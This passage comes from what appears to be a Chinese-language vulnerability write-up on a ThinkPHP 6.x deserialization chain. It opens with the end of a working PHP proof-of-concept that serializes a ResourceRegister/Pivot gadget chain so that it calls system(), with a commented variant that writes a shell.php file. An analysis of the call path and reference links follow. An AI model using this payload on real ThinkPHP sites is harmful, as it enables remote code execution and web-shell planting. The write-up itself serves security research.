            $this->withAttr = ['cmd' => ['system']];
            $this->json = ['cmd'];
            $this->jsonAssoc = True;

            // 如果有disable_function 也可以写文件到 ./shell.php
            //$this->data = ['cmd' => ["./shell.php", "<?php phpinfo();"]];
            //$this->withAttr = ['cmd' => ['file_put_contents']];
            //$this->json = ['cmd'];
            //$this->jsonAssoc = True;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace think\route {

    use think\model\Pivot;

    class Route {
    }
    class Resource {
        protected $rule;
        protected $router;
        protected $name;
        protected $rest;
        protected $option;

        public function __construct($cmd) {
            $this->rule = "test";
            $this->router = new Route();
            $this->name = "test";
            $this->rest = [['a', '<id>']];
            $this->option = ['var'=>[$this->rule=>new Pivot($cmd)]];
        }
    }
    class ResourceRegister {
        public function __construct($cmd)
        {
            $this->registered = false;
            $this->resource = new Resource($cmd);
        }
    }
}

namespace {

    use think\route\ResourceRegister;

    echo urlencode(serialize(new ResourceRegister("calc")));
}

image-20241025151808646

分析

入口和结尾与cve那个相同,中间调用的略有不同

从调用register()那里开始,上一个直接触发了call,而这个会进到src/think/route/Rule.php的getRule()

image-20241025152322065

在POC里面我们构造的对象是Resource,而Resource extends RuleGroup->RuleGroup extends Rule,自然会调到Rule里面,返回$rule,我们在POC里构造为test

继续跟进,POC里面我们设置了$option为Pivot对象

image-20241025235823538

由于$option['var'][$rule]我们构造为Pivot对象,此时被当成字符串调用会触发__toString(),然后进入到Conversion类之后就和之前的后续一样了,略

结语

tp6版本每次只能下到6.1.4的,composer.json改完也不好使,先放了,看着其实也没什么太大区别,无非就是入口有所区别,核心就是那些。

这些本来能在半年前完成的,很遗憾拖到现在,不过结果还算满意

参考文章

https://y4er.com/posts/thinkphp3-vuln/#thinkphp-323

http://wjlshare.com/archives/1484

https://boogipop.com/2023/03/02/ThinkPHP5.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%85%A8%E5%A4%8D%E7%8E%B0/

https://bugs.leavesongs.com/php/thinkphp%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%ACsql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/

P神的知识星球:https://wx.zsxq.com/group/2212251881

https://www.freebuf.com/vuls/317886.html

https://pankas.top/2024/10/01/tp6-x-tp8-unserialize-poc/#thinkphp6-x

https://xz.aliyun.com/t/6619?time__1311=n4%2BxnD0Dg7%3D7wxWqGNnmDUxYwRx0OEggbD&u_atoken=80cbfd195a53222a9d778cba0611eb88&u_asig=1a0c399817297597242633053e00a7#toc-2

https://xz.aliyun.com/t/12630?time__1311=GqGxuDRiiQemqGN4CxUxOFKG%3Dc%2Bt8rD#toc-0

https://xz.aliyun.com/t/15582?time__1311=Gqjxn7it0%3DexlxGgx%2BOxmorbKi%3DGO%2B3bfeD